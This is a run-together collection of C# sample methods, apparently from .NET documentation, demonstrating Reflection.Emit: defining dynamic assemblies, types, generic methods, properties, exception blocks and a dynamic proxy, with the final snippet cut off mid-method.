static void Main() { AssemblyName asmName = new AssemblyName(); asmName.Name = "HelloReflectionEmit"; AppDomain appDom = Thread.GetDomain(); // Create AssemblyBuilder with "RunAndSave" access AssemblyBuilder asmBuilder = appDom.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.RunAndSave); // Assembly filename string filename = asmName.Name + ".exe"; // Create ModuleBuilder object ModuleBuilder modBuilder = asmBuilder.DefineDynamicModule( asmName.Name, filename); // Define "public class Hello.Emitted" // TypeBuilder typeBuilder = modBuilder.DefineType("Hello.Emitted", TypeAttributes.Public | TypeAttributes.Class); // Define "public static int Main(string[] args)" // MethodBuilder methBuilder = typeBuilder.DefineMethod("Main", MethodAttributes.Public | MethodAttributes.Static, typeof(int), new Type[] { typeof(string[]) }); // Get Main's ILGenerator object ILGenerator ilGen = methBuilder.GetILGenerator(); // Define a call to System.Console.WriteLine, passing "Hello World" // //ilGen.Emit(OpCodes.Ldstr, "Hello, World!"); //ilGen.Emit(OpCodes.Call, typeof(Console).GetMethod("WriteLine", // new Type[] { typeof(string) })); //ilGen.Emit(OpCodes.Ldc_I4_0); //ilGen.Emit(OpCodes.Ret); /* * Example 1 * IL: * ldstr "Hello, World!" * call void [mscorlib]System.Console::WriteLine(string) * ldc.i4.0 * ret */ /////////////////////////////////////////////// /* * Example 2 * IL_0001: ldstr "Ola {0}" * IL_0006: ldc.i4.s 10 * IL_0008: box [mscorlib]System.Int32 // argumento box e' o tipo do tipo primitivo * // Quando se faz unbox, so e' possivel fazer * // unbox para o tipo indicado (System.Int32) * // O box coloca no stack um object, neste caso, do tipo "Boxed type de Int32" * * IL_000d: call void [mscorlib]System.Console::WriteLine(string, * object) * IL_0013: ret */ ilGen.Emit(OpCodes.Ldstr, "Ola {0}"); ilGen.Emit(OpCodes.Ldc_I4_S, 10); ilGen.Emit(OpCodes.Box, typeof(int)); ilGen.Emit(OpCodes.Call, typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string), typeof(object) })); // Because the generated Main method returns int it is necessary to push an int // into the stack ilGen.Emit(OpCodes.Ldc_I4_0); ilGen.Emit(OpCodes.Ret); // Create type - Obligatory in order to generate IL Type t = typeBuilder.CreateType(); //InvokeMainMethod(t); //// Reflect on assemblyBuilder object (which is in memory) //ReflectOnAssembly(asmName, asmBuilder); /* * COMMENT/UNCOMMENT SAVE TO EXE */ /////////////////////////////////////////////////////////////// // Save to EXE assembly File // // Set Main as Entry point asmBuilder.SetEntryPoint(methBuilder, PEFileKinds.ConsoleApplication); // Save assembly to file //asmBuilder.Save(filename); ///////////////////////////////////////////////////////////////// ////// Execute assembly with name "HelloReflectionEmit.exe" Console.WriteLine("Execute assembly with name \"HelloReflectionEmit.exe\""); appDom.ExecuteAssembly(filename); Console.WriteLine("Finished executing {0}", asmName.Name); // Load assembly LoadAssembly(filename); }
//</Snippet20> public static void Main() { // The following shows the usage syntax of the C# // version of the generic method emitted by this program. // Note that the generic parameters must be specified // explicitly, because the compiler does not have enough // context to infer the type of TOutput. In this case, TOutput // is a generic List containing strings. // //<Snippet17> string[] arr = { "a", "b", "c", "d", "e" }; List <string> list1 = GenericMethodBuilder.Factory <string, List <string> >(arr); Console.WriteLine("The first element is: {0}", list1[0]); //</Snippet17> // Creating a dynamic assembly requires an AssemblyName // object, and the current application domain. // //<Snippet2> AssemblyName asmName = new AssemblyName("DemoMethodBuilder1"); AppDomain domain = AppDomain.CurrentDomain; AssemblyBuilder demoAssembly = domain.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.RunAndSave); // Define the module that contains the code. For an // assembly with one module, the module name is the // assembly name plus a file extension. ModuleBuilder demoModule = demoAssembly.DefineDynamicModule(asmName.Name, asmName.Name + ".dll"); //</Snippet2> // Define a type to contain the method. //<Snippet3> TypeBuilder demoType = demoModule.DefineType("DemoType", TypeAttributes.Public); //</Snippet3> // Define a public static method with standard calling // conventions. Do not specify the parameter types or the // return type, because type parameters will be used for // those types, and the type parameters have not been // defined yet. // //<Snippet4> MethodBuilder factory = demoType.DefineMethod("Factory", MethodAttributes.Public | MethodAttributes.Static); //</Snippet4> // Defining generic type parameters for the method makes it a // generic method. To make the code easier to read, each // type parameter is copied to a variable of the same name. // //<Snippet5> string[] typeParameterNames = { "TInput", "TOutput" }; GenericTypeParameterBuilder[] typeParameters = factory.DefineGenericParameters(typeParameterNames); GenericTypeParameterBuilder TInput = typeParameters[0]; GenericTypeParameterBuilder TOutput = typeParameters[1]; //</Snippet5> // Add special constraints. // The type parameter TOutput is constrained to be a reference // type, and to have a parameterless constructor. This ensures // that the Factory method can create the collection type. // //<Snippet6> TOutput.SetGenericParameterAttributes( GenericParameterAttributes.ReferenceTypeConstraint | GenericParameterAttributes.DefaultConstructorConstraint); //</Snippet6> // Add interface and base type constraints. // The type parameter TOutput is constrained to types that // implement the ICollection<T> interface, to ensure that // they have an Add method that can be used to add elements. // // To create the constraint, first use MakeGenericType to bind // the type parameter TInput to the ICollection<T> interface, // returning the type ICollection<TInput>, then pass // the newly created type to the SetInterfaceConstraints // method. The constraints must be passed as an array, even if // there is only one interface. // //<Snippet7> Type icoll = typeof(ICollection <>); Type icollOfTInput = icoll.MakeGenericType(TInput); Type[] constraints = { icollOfTInput }; TOutput.SetInterfaceConstraints(constraints); //</Snippet7> // Set parameter types for the method. The method takes // one parameter, an array of type TInput. //<Snippet8> Type[] parms = { TInput.MakeArrayType() }; factory.SetParameters(parms); //</Snippet8> // Set the return type for the method. The return type is // the generic type parameter TOutput. //<Snippet9> factory.SetReturnType(TOutput); //</Snippet9> // Generate a code body for the method. // ----------------------------------- // Get a code generator and declare local variables and // labels. Save the input array to a local variable. // //<Snippet10> ILGenerator ilgen = factory.GetILGenerator(); LocalBuilder retVal = ilgen.DeclareLocal(TOutput); LocalBuilder ic = ilgen.DeclareLocal(icollOfTInput); LocalBuilder input = ilgen.DeclareLocal(TInput.MakeArrayType()); LocalBuilder index = ilgen.DeclareLocal(typeof(int)); Label enterLoop = ilgen.DefineLabel(); Label loopAgain = ilgen.DefineLabel(); ilgen.Emit(OpCodes.Ldarg_0); ilgen.Emit(OpCodes.Stloc_S, input); //</Snippet10> // Create an instance of TOutput, using the generic method // overload of the Activator.CreateInstance method. // Using this overload requires the specified type to have // a parameterless constructor, which is the reason for adding // that constraint to TOutput. Create the constructed generic // method by passing TOutput to MakeGenericMethod. After // emitting code to call the method, emit code to store the // new TOutput in a local variable. // //<Snippet11> MethodInfo createInst = typeof(Activator).GetMethod("CreateInstance", Type.EmptyTypes); MethodInfo createInstOfTOutput = createInst.MakeGenericMethod(TOutput); ilgen.Emit(OpCodes.Call, createInstOfTOutput); ilgen.Emit(OpCodes.Stloc_S, retVal); //</Snippet11> // Load the reference to the TOutput object, cast it to // ICollection<TInput>, and save it. // //<Snippet31> ilgen.Emit(OpCodes.Ldloc_S, retVal); ilgen.Emit(OpCodes.Box, TOutput); ilgen.Emit(OpCodes.Castclass, icollOfTInput); ilgen.Emit(OpCodes.Stloc_S, ic); //</Snippet31> // Loop through the array, adding each element to the new // instance of TOutput. Note that in order to get a MethodInfo // for ICollection<TInput>.Add, it is necessary to first // get the Add method for the generic type defintion, // ICollection<T>.Add. This is because it is not possible // to call GetMethod on icollOfTInput. The static overload of // TypeBuilder.GetMethod produces the correct MethodInfo for // the constructed type. // //<Snippet12> MethodInfo mAddPrep = icoll.GetMethod("Add"); MethodInfo mAdd = TypeBuilder.GetMethod(icollOfTInput, mAddPrep); //</Snippet12> //<Snippet32> // Initialize the count and enter the loop. ilgen.Emit(OpCodes.Ldc_I4_0); ilgen.Emit(OpCodes.Stloc_S, index); ilgen.Emit(OpCodes.Br_S, enterLoop); //</Snippet32> // Mark the beginning of the loop. Push the ICollection // reference on the stack, so it will be in position for the // call to Add. Then push the array and the index on the // stack, get the array element, and call Add (represented // by the MethodInfo mAdd) to add it to the collection. // // The other ten instructions just increment the index // and test for the end of the loop. Note the MarkLabel // method, which sets the point in the code where the // loop is entered. (See the earlier Br_S to enterLoop.) // //<Snippet13> ilgen.MarkLabel(loopAgain); ilgen.Emit(OpCodes.Ldloc_S, ic); ilgen.Emit(OpCodes.Ldloc_S, input); ilgen.Emit(OpCodes.Ldloc_S, index); ilgen.Emit(OpCodes.Ldelem, TInput); ilgen.Emit(OpCodes.Callvirt, mAdd); ilgen.Emit(OpCodes.Ldloc_S, index); ilgen.Emit(OpCodes.Ldc_I4_1); ilgen.Emit(OpCodes.Add); ilgen.Emit(OpCodes.Stloc_S, index); ilgen.MarkLabel(enterLoop); ilgen.Emit(OpCodes.Ldloc_S, index); ilgen.Emit(OpCodes.Ldloc_S, input); ilgen.Emit(OpCodes.Ldlen); ilgen.Emit(OpCodes.Conv_I4); ilgen.Emit(OpCodes.Clt); ilgen.Emit(OpCodes.Brtrue_S, loopAgain); //</Snippet13> //<Snippet33> ilgen.Emit(OpCodes.Ldloc_S, retVal); ilgen.Emit(OpCodes.Ret); //</Snippet33> //<Snippet14> // Complete the type. Type dt = demoType.CreateType(); // Save the assembly, so it can be examined with Ildasm.exe. demoAssembly.Save(asmName.Name + ".dll"); //</Snippet14> // To create a constructed generic method that can be // executed, first call the GetMethod method on the completed // type to get the generic method definition. Call MakeGenericType // on the generic method definition to obtain the constructed // method, passing in the type arguments. In this case, the // constructed method has string for TInput and List<string> // for TOutput. // //<Snippet21> MethodInfo m = dt.GetMethod("Factory"); MethodInfo bound = m.MakeGenericMethod(typeof(string), typeof(List <string>)); // Display a string representing the bound method. Console.WriteLine(bound); //</Snippet21> // Once the generic method is constructed, // you can invoke it and pass in an array of objects // representing the arguments. In this case, there is only // one element in that array, the argument 'arr'. // //<Snippet22> object o = bound.Invoke(null, new object[] { arr }); List <string> list2 = (List <string>)o; Console.WriteLine("The first element is: {0}", list2[0]); //</Snippet22> // You can get better performance from multiple calls if // you bind the constructed method to a delegate. The // following code uses the generic delegate D defined // earlier. // //<Snippet23> Type dType = typeof(D <string, List <string> >); D <string, List <string> > test; test = (D <string, List <string> >) Delegate.CreateDelegate(dType, bound); List <string> list3 = test(arr); Console.WriteLine("The first element is: {0}", list3[0]); //</Snippet23> }
public static void Main() { AppDomain current = AppDomain.CurrentDomain; AssemblyName myAsmName = new AssemblyName(); myAsmName.Name = "AdderExceptionAsm"; AssemblyBuilder myAsmBldr = current.DefineDynamicAssembly(myAsmName, AssemblyBuilderAccess.RunAndSave); ModuleBuilder myModBldr = myAsmBldr.DefineDynamicModule(myAsmName.Name, myAsmName.Name + ".dll"); TypeBuilder myTypeBldr = myModBldr.DefineType("Adder"); Type[] adderParams = new Type[] { typeof(int), typeof(int) }; // This method will add two numbers which are 100 or less. If either of the // passed integer vales are greater than 100, it will throw an exception. MethodBuilder adderBldr = myTypeBldr.DefineMethod("DoAdd", MethodAttributes.Public | MethodAttributes.Static, typeof(int), adderParams); ILGenerator adderIL = adderBldr.GetILGenerator(); // Types and methods used in the code to throw, catch, and // display OverflowException. Note that if the catch block were // for a more general type, such as Exception, we would need // a MethodInfo for that type's ToString method. // Type overflow = typeof(OverflowException); ConstructorInfo exCtorInfo = overflow.GetConstructor( new Type[] { typeof(string) }); MethodInfo exToStrMI = overflow.GetMethod("ToString"); MethodInfo writeLineMI = typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string), typeof(object) }); LocalBuilder tmp1 = adderIL.DeclareLocal(typeof(int)); LocalBuilder tmp2 = adderIL.DeclareLocal(overflow); // In order to successfully branch, we need to create labels // representing the offset IL instruction block to branch to. // These labels, when the MarkLabel(Label) method is invoked, // will specify the IL instruction to branch to. // Label failed = adderIL.DefineLabel(); Label endOfMthd = adderIL.DefineLabel(); // Begin the try block. Label exBlock = adderIL.BeginExceptionBlock(); // First, load argument 0 and the integer value of "100" onto the // stack. If arg0 > 100, branch to the label "failed", which is marked // as the address of the block that throws an exception. // adderIL.Emit(OpCodes.Ldarg_0); adderIL.Emit(OpCodes.Ldc_I4_S, 100); adderIL.Emit(OpCodes.Bgt_S, failed); // Now, check to see if argument 1 was greater than 100. If it was, // branch to "failed." Otherwise, fall through and perform the addition, // branching unconditionally to the instruction at the label "endOfMthd". // adderIL.Emit(OpCodes.Ldarg_1); adderIL.Emit(OpCodes.Ldc_I4_S, 100); adderIL.Emit(OpCodes.Bgt_S, failed); adderIL.Emit(OpCodes.Ldarg_0); adderIL.Emit(OpCodes.Ldarg_1); adderIL.Emit(OpCodes.Add_Ovf_Un); // Store the result of the addition. adderIL.Emit(OpCodes.Stloc_S, tmp1); adderIL.Emit(OpCodes.Br_S, endOfMthd); // If one of the arguments was greater than 100, we need to throw an // exception. We'll use "OverflowException" with a customized message. // First, we load our message onto the stack, and then create a new // exception object using the constructor overload that accepts a // string message. // adderIL.MarkLabel(failed); adderIL.Emit(OpCodes.Ldstr, "Cannot accept values over 100 for add."); adderIL.Emit(OpCodes.Newobj, exCtorInfo); // We're going to need to refer to that exception object later, so let's // store it in a temporary variable. Since the store function pops the // the value/reference off the stack, and we'll need it to throw the // exception, we will subsequently load it back onto the stack as well. adderIL.Emit(OpCodes.Stloc_S, tmp2); adderIL.Emit(OpCodes.Ldloc_S, tmp2); // Throw the exception now on the stack. adderIL.ThrowException(overflow); // Start the catch block for OverflowException. // adderIL.BeginCatchBlock(overflow); // When we enter the catch block, the thrown exception // is on the stack. Store it, then load the format string // for WriteLine. // adderIL.Emit(OpCodes.Stloc_S, tmp2); adderIL.Emit(OpCodes.Ldstr, "Caught {0}"); // Push the thrown exception back on the stack, then // call its ToString() method. Note that if this catch block // were for a more general exception type, like Exception, // it would be necessary to use the ToString for that type. // adderIL.Emit(OpCodes.Ldloc_S, tmp2); adderIL.EmitCall(OpCodes.Callvirt, exToStrMI, null); // The format string and the return value from ToString() are // now on the stack. Call WriteLine(string, object). // adderIL.EmitCall(OpCodes.Call, writeLineMI, null); // Since our function has to return an integer value, we'll load -1 onto // the stack to indicate an error, and store it in local variable tmp1. // adderIL.Emit(OpCodes.Ldc_I4_M1); adderIL.Emit(OpCodes.Stloc_S, tmp1); // End the exception handling block. adderIL.EndExceptionBlock(); // The end of the method. If no exception was thrown, the correct value // will be saved in tmp1. If an exception was thrown, tmp1 will be equal // to -1. Either way, we'll load the value of tmp1 onto the stack and return. // adderIL.MarkLabel(endOfMthd); adderIL.Emit(OpCodes.Ldloc_S, tmp1); adderIL.Emit(OpCodes.Ret); Type adderType = myTypeBldr.CreateType(); object addIns = Activator.CreateInstance(adderType); object[] addParams = new object[2]; Console.Write("Enter an integer value: "); addParams[0] = (object)Convert.ToInt32(Console.ReadLine()); Console.Write("Enter another integer value: "); addParams[1] = (object)Convert.ToInt32(Console.ReadLine()); Console.WriteLine("If either integer was > 100, an exception will be thrown."); Console.WriteLine("---"); Console.WriteLine("{0} + {1} = {2}", addParams[0], addParams[1], adderType.InvokeMember("DoAdd", BindingFlags.InvokeMethod, null, addIns, addParams)); }
public static void Main() { // Define a dynamic assembly to contain the sample type. The // assembly will not be run, but only saved to disk, so // AssemblyBuilderAccess.Save is specified. // //<Snippet2> AppDomain myDomain = AppDomain.CurrentDomain; AssemblyName myAsmName = new AssemblyName("GenericEmitExample1"); AssemblyBuilder myAssembly = myDomain.DefineDynamicAssembly(myAsmName, AssemblyBuilderAccess.RunAndSave); //</Snippet2> // An assembly is made up of executable modules. For a single- // module assembly, the module name and file name are the same // as the assembly name. // //<Snippet3> ModuleBuilder myModule = myAssembly.DefineDynamicModule(myAsmName.Name, myAsmName.Name + ".dll"); //</Snippet3> // Get type objects for the base class trivial interfaces to // be used as constraints. // Type baseType = typeof(ExampleBase); Type interfaceA = typeof(IExampleA); Type interfaceB = typeof(IExampleB); // Define the sample type. // //<Snippet4> TypeBuilder myType = myModule.DefineType("Sample", TypeAttributes.Public); //</Snippet4> Console.WriteLine("Type 'Sample' is generic: {0}", myType.IsGenericType); // Define type parameters for the type. Until you do this, // the type is not generic, as the preceding and following // WriteLine statements show. The type parameter names are // specified as an array of strings. To make the code // easier to read, each GenericTypeParameterBuilder is placed // in a variable with the same name as the type parameter. // //<Snippet5> string[] typeParamNames = { "TFirst", "TSecond" }; GenericTypeParameterBuilder[] typeParams = myType.DefineGenericParameters(typeParamNames); GenericTypeParameterBuilder TFirst = typeParams[0]; GenericTypeParameterBuilder TSecond = typeParams[1]; //</Snippet5> Console.WriteLine("Type 'Sample' is generic: {0}", myType.IsGenericType); // Apply constraints to the type parameters. // // A type that is substituted for the first parameter, TFirst, // must be a reference type and must have a parameterless // constructor. //<Snippet6> TFirst.SetGenericParameterAttributes( GenericParameterAttributes.DefaultConstructorConstraint | GenericParameterAttributes.ReferenceTypeConstraint); //</Snippet6> // A type that is substituted for the second type // parameter must implement IExampleA and IExampleB, and // inherit from the trivial test class ExampleBase. The // interface constraints are specified as an array // containing the interface types. //<Snippet7> TSecond.SetBaseTypeConstraint(baseType); Type[] interfaceTypes = { interfaceA, interfaceB }; TSecond.SetInterfaceConstraints(interfaceTypes); //</Snippet7> // The following code adds a private field named ExampleField, // of type TFirst. //<Snippet21> FieldBuilder exField = myType.DefineField("ExampleField", TFirst, FieldAttributes.Private); //</Snippet21> // Define a static method that takes an array of TFirst and // returns a List<TFirst> containing all the elements of // the array. To define this method it is necessary to create // the type List<TFirst> by calling MakeGenericType on the // generic type definition, List<T>. (The T is omitted with // the typeof operator when you get the generic type // definition.) The parameter type is created by using the // MakeArrayType method. // //<Snippet22> Type listOf = typeof(List <>); Type listOfTFirst = listOf.MakeGenericType(TFirst); Type[] mParamTypes = { TFirst.MakeArrayType() }; MethodBuilder exMethod = myType.DefineMethod("ExampleMethod", MethodAttributes.Public | MethodAttributes.Static, listOfTFirst, mParamTypes); //</Snippet22> // Emit the method body. // The method body consists of just three opcodes, to load // the input array onto the execution stack, to call the // List<TFirst> constructor that takes IEnumerable<TFirst>, // which does all the work of putting the input elements into // the list, and to return, leaving the list on the stack. The // hard work is getting the constructor. // // The GetConstructor method is not supported on a // GenericTypeParameterBuilder, so it is not possible to get // the constructor of List<TFirst> directly. There are two // steps, first getting the constructor of List<T> and then // calling a method that converts it to the corresponding // constructor of List<TFirst>. // // The constructor needed here is the one that takes an // IEnumerable<T>. Note, however, that this is not the // generic type definition of IEnumerable<T>; instead, the // T from List<T> must be substituted for the T of // IEnumerable<T>. (This seems confusing only because both // types have type parameters named T. That is why this example // uses the somewhat silly names TFirst and TSecond.) To get // the type of the constructor argument, take the generic // type definition IEnumerable<T> (expressed as // IEnumerable<> when you use the typeof operator) and // call MakeGenericType with the first generic type parameter // of List<T>. The constructor argument list must be passed // as an array, with just one argument in this case. // // Now it is possible to get the constructor of List<T>, // using GetConstructor on the generic type definition. To get // the constructor of List<TFirst>, pass List<TFirst> and // the constructor from List<T> to the static // TypeBuilder.GetConstructor method. // //<Snippet23> ILGenerator ilgen = exMethod.GetILGenerator(); Type ienumOf = typeof(IEnumerable <>); Type TfromListOf = listOf.GetGenericArguments()[0]; Type ienumOfT = ienumOf.MakeGenericType(TfromListOf); Type[] ctorArgs = { ienumOfT }; ConstructorInfo ctorPrep = listOf.GetConstructor(ctorArgs); ConstructorInfo ctor = TypeBuilder.GetConstructor(listOfTFirst, ctorPrep); ilgen.Emit(OpCodes.Ldarg_0); ilgen.Emit(OpCodes.Newobj, ctor); ilgen.Emit(OpCodes.Ret); //</Snippet23> // Create the type and save the assembly. //<Snippet8> Type finished = myType.CreateType(); myAssembly.Save(myAsmName.Name + ".dll"); //</Snippet8> // Invoke the method. // ExampleMethod is not generic, but the type it belongs to is // generic, so in order to get a MethodInfo that can be invoked // it is necessary to create a constructed type. The Example // class satisfies the constraints on TFirst, because it is a // reference type and has a default constructor. In order to // have a class that satisfies the constraints on TSecond, // this code example defines the ExampleDerived type. These // two types are passed to MakeGenericMethod to create the // constructed type. // //<Snippet9> Type[] typeArgs = { typeof(Example), typeof(ExampleDerived) }; Type constructed = finished.MakeGenericType(typeArgs); MethodInfo mi = constructed.GetMethod("ExampleMethod"); //</Snippet9> // Create an array of Example objects, as input to the generic // method. This array must be passed as the only element of an // array of arguments. The first argument of Invoke is // null, because ExampleMethod is static. Display the count // on the resulting List<Example>. // //<Snippet10> Example[] input = { new Example(), new Example() }; object[] arguments = { input }; List <Example> listX = (List <Example>)mi.Invoke(null, arguments); Console.WriteLine( "\nThere are {0} elements in the List<Example>.", listX.Count); //</Snippet10> DisplayGenericParameters(finished); }
static void Main() { AssemblyName asmName = new AssemblyName(); asmName.Name = "HelloReflectionEmit"; AppDomain appDom = Thread.GetDomain(); // Create AssemblyBuilder with "RunAndSave" access AssemblyBuilder asmBuilder = appDom.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.RunAndSave); // Assembly filename string filename = asmName.Name + ".exe"; // Create ModuleBuilder object ModuleBuilder modBuilder = asmBuilder.DefineDynamicModule( asmName.Name, filename); // Define "public class Hello.Emitted" // TypeBuilder typeBuilder = modBuilder.DefineType("Hello.Emitted", TypeAttributes.Public | TypeAttributes.Class); // Define "public static int Main(string[] args)" // MethodBuilder methBuilder = typeBuilder.DefineMethod("Main", MethodAttributes.Public | MethodAttributes.Static, typeof(int), new Type[] { typeof(string[]) }); ILGenerator ilGen = methBuilder.GetILGenerator(); // Define a call to System.Console.WriteLine, passing "Hello World" // ilGen.Emit(OpCodes.Ldstr, "Hello, World!"); ilGen.Emit(OpCodes.Call, typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string[]) })); ilGen.Emit(OpCodes.Ldc_I4_0); ilGen.Emit(OpCodes.Ret); // Create type Type t = typeBuilder.CreateType(); // Reflect ReflectOnAssembly(asmName, asmBuilder); /* * COMMENT/UNCOMMENT SAVE TO EXE */ /////////////////////////////////////////////////////////////// // Save to EXE assembly File // // Set Main as Entry point asmBuilder.SetEntryPoint(methBuilder, PEFileKinds.ConsoleApplication); // Save assembly to file asmBuilder.Save(filename); // Execute assembly with name "HelloReflectionEmit.exe" appDom.ExecuteAssembly(filename); Console.WriteLine("Finished executing {0}", asmName.Name); // Load assembly LoadAssembly(filename); /////////////////////////////////////////////////////////////// }
public static Type BuildDynamicTypeWithProperties() { AppDomain myDomain = Thread.GetDomain(); AssemblyName myAsmName = new AssemblyName(); myAsmName.Name = "MyDynamicAssembly"; // To generate a persistable assembly, specify AssemblyBuilderAccess.RunAndSave. AssemblyBuilder myAsmBuilder = myDomain.DefineDynamicAssembly(myAsmName, AssemblyBuilderAccess.RunAndSave); // Generate a persistable single-module assembly. ModuleBuilder myModBuilder = myAsmBuilder.DefineDynamicModule(myAsmName.Name, myAsmName.Name + ".dll"); TypeBuilder myTypeBuilder = myModBuilder.DefineType("CustomerData", TypeAttributes.Public); FieldBuilder customerNameBldr = myTypeBuilder.DefineField("customerName", typeof(string), FieldAttributes.Private); // The last argument of DefineProperty is null, because the // property has no parameters. (If you don't specify null, you must // specify an array of Type objects. For a parameterless property, // use an array with no elements: new Type[] {}) PropertyBuilder custNamePropBldr = myTypeBuilder.DefineProperty("CustomerName", PropertyAttributes.HasDefault, typeof(string), null); // The property set and property get methods require a special // set of attributes. MethodAttributes getSetAttr = MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.HideBySig; // Define the "get" accessor method for CustomerName. MethodBuilder custNameGetPropMthdBldr = myTypeBuilder.DefineMethod("get_CustomerName", getSetAttr, typeof(string), Type.EmptyTypes); ILGenerator custNameGetIL = custNameGetPropMthdBldr.GetILGenerator(); custNameGetIL.Emit(OpCodes.Ldarg_0); custNameGetIL.Emit(OpCodes.Ldfld, customerNameBldr); custNameGetIL.Emit(OpCodes.Ret); // Define the "set" accessor method for CustomerName. MethodBuilder custNameSetPropMthdBldr = myTypeBuilder.DefineMethod("set_CustomerName", getSetAttr, null, new Type[] { typeof(string) }); ILGenerator custNameSetIL = custNameSetPropMthdBldr.GetILGenerator(); custNameSetIL.Emit(OpCodes.Ldarg_0); custNameSetIL.Emit(OpCodes.Ldarg_1); custNameSetIL.Emit(OpCodes.Stfld, customerNameBldr); custNameSetIL.Emit(OpCodes.Ret); // Last, we must map the two methods created above to our PropertyBuilder to // their corresponding behaviors, "get" and "set" respectively. custNamePropBldr.SetGetMethod(custNameGetPropMthdBldr); custNamePropBldr.SetSetMethod(custNameSetPropMthdBldr); Type retval = myTypeBuilder.CreateType(); // Save the assembly so it can be examined with Ildasm.exe, // or referenced by a test program. myAsmBuilder.Save(myAsmName.Name + ".dll"); return(retval); }
public static Type GetProxy(AppDomain domain, params Type[] interfaces) { lock (typeof(DynamicProxy)) { ProxyKey proxyKey = new ProxyKey(domain, interfaces); Type proxy = null; if (proxyCache.ContainsKey(proxyKey)) { proxy = (Type)proxyCache[proxyKey]; } if (proxy == null) { interfaces = SumUpInterfaces(interfaces); String dynamicAssemblyName; String dynamicModuleName; String dynamicProxyTypeName; String strNumber = countDymamicAssembly.ToString(NumberFormatInfo.InvariantInfo); dynamicAssemblyName = "$DynamicAssembly" + strNumber; dynamicModuleName = "$DynamicModule" + strNumber; dynamicProxyTypeName = "$Proxy" + strNumber; countDymamicAssembly++; AssemblyBuilder assemblyBuilder; AssemblyName assemblyName = new AssemblyName(); assemblyName.Name = dynamicAssemblyName; #if !SILVERLIGHT assemblyBuilder = domain.DefineDynamicAssembly(assemblyName, FlagCreateFile ? AssemblyBuilderAccess.RunAndSave : AssemblyBuilderAccess.Run); #else assemblyBuilder = domain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); #endif ModuleBuilder moduleBuilder; #if !SILVERLIGHT if (FlagCreateFile) { moduleBuilder = assemblyBuilder.DefineDynamicModule(dynamicModuleName, dynamicModuleName + ".dll"); } else { moduleBuilder = assemblyBuilder.DefineDynamicModule(dynamicModuleName); } #else moduleBuilder = assemblyBuilder.DefineDynamicModule(dynamicModuleName); #endif TypeBuilder typeBuilder = moduleBuilder.DefineType(dynamicProxyTypeName, TypeAttributes.Public, typeof(DynamicProxy), interfaces); //build .ctor ConstructorBuilder ctorBuilder = typeBuilder.DefineConstructor(MethodAttributes.Public | MethodAttributes.HideBySig, CallingConventions.Standard, Types_InvocationHandler); ILGenerator gen = ctorBuilder.GetILGenerator(); gen.Emit(OpCodes.Ldarg_0); gen.Emit(OpCodes.Ldarg_1); gen.Emit(OpCodes.Call, DynamicProxy_Ctor); gen.Emit(OpCodes.Ret); //MakeMethods(typeBuilder, typeof(Object), true); foreach (Type interfac in interfaces) { MakeMethods(typeBuilder, interfac, false); } proxy = typeBuilder.CreateType(); proxyCache.Add(proxyKey, proxy); #if !SILVERLIGHT if (FlagCreateFile) { assemblyBuilder.Save(dynamicAssemblyName + ".dll"); } #endif } return(proxy); } }
internal MyConstructorBuilder() { // <Snippet1> // <Snippet2> // <Snippet3> MethodBuilder myMethodBuilder = null; AppDomain myCurrentDomain = AppDomain.CurrentDomain; // Create assembly in current CurrentDomain AssemblyName myAssemblyName = new AssemblyName(); myAssemblyName.Name = "TempAssembly"; // Create a dynamic assembly myAssemblyBuilder = myCurrentDomain.DefineDynamicAssembly (myAssemblyName, AssemblyBuilderAccess.RunAndSave); // Create a dynamic module in the assembly. myModuleBuilder = myAssemblyBuilder.DefineDynamicModule("TempModule"); FieldInfo myFieldInfo = myModuleBuilder.DefineUninitializedData("myField", 2, FieldAttributes.Public); // Create a type in the module TypeBuilder myTypeBuilder = myModuleBuilder.DefineType("TempClass", TypeAttributes.Public); FieldBuilder myGreetingField = myTypeBuilder.DefineField("Greeting", typeof(String), FieldAttributes.Public); Type[] myConstructorArgs = { typeof(String) }; // Define a constructor of the dynamic class. ConstructorBuilder myConstructor = myTypeBuilder.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, myConstructorArgs); PermissionSet myPset = new PermissionSet(PermissionState.Unrestricted); // Add declarative security to the constructor. Console.WriteLine("Adding declarative security to the constructor....."); Console.WriteLine("The Security action to be taken is \"DENY\" and" + " Permission set is \"UNRESTRICTED\"."); myConstructor.AddDeclarativeSecurity(SecurityAction.Deny, myPset); // </Snippet3> MethodAttributes myMethodAttributes = myConstructor.Attributes; Type myAttributeType = typeof(MethodAttributes); int myAttribValue = (int)myMethodAttributes; if (!myAttributeType.IsEnum) { Console.WriteLine("This is not an Enum"); } FieldInfo[] myFieldInfo1 = myAttributeType.GetFields(BindingFlags.Public | BindingFlags.Static); Console.WriteLine("The Field info names of the Attributes for the constructor are:"); for (int i = 0; i < myFieldInfo1.Length; i++) { int myFieldValue = (Int32)myFieldInfo1[i].GetValue(null); if ((myFieldValue & myAttribValue) == myFieldValue) { Console.WriteLine(" " + myFieldInfo1[i].Name); } } Type myType2 = myConstructor.DeclaringType; Console.WriteLine("The declaring type is : " + myType2.ToString()); // </Snippet2> ParameterBuilder myParameterBuilder1 = myConstructor.DefineParameter(1, ParameterAttributes.Out, "My Parameter Name1"); Console.WriteLine("The name of the parameter is : " + myParameterBuilder1.Name); if (myParameterBuilder1.IsIn) { Console.WriteLine(myParameterBuilder1.Name + " is Input parameter."); } else { Console.WriteLine(myParameterBuilder1.Name + " is not Input Parameter."); } ParameterBuilder myParameterBuilder2 = myConstructor.DefineParameter(1, ParameterAttributes.In, "My Parameter Name2"); Console.WriteLine("The Parameter name is : " + myParameterBuilder2.Name); if (myParameterBuilder2.IsIn) { Console.WriteLine(myParameterBuilder2.Name + " is Input parameter."); } else { Console.WriteLine(myParameterBuilder2.Name + " is not Input Parameter."); } // </Snippet1> // Generate MSIL for the method, call its base class constructor and store the arguments // in the private field. ILGenerator myILGenerator3 = myConstructor.GetILGenerator(); myILGenerator3.Emit(OpCodes.Ldarg_0); ConstructorInfo myConstructorInfo = typeof(Object).GetConstructor(new Type[0]); myILGenerator3.Emit(OpCodes.Call, myConstructorInfo); myILGenerator3.Emit(OpCodes.Ldarg_0); myILGenerator3.Emit(OpCodes.Ldarg_1); 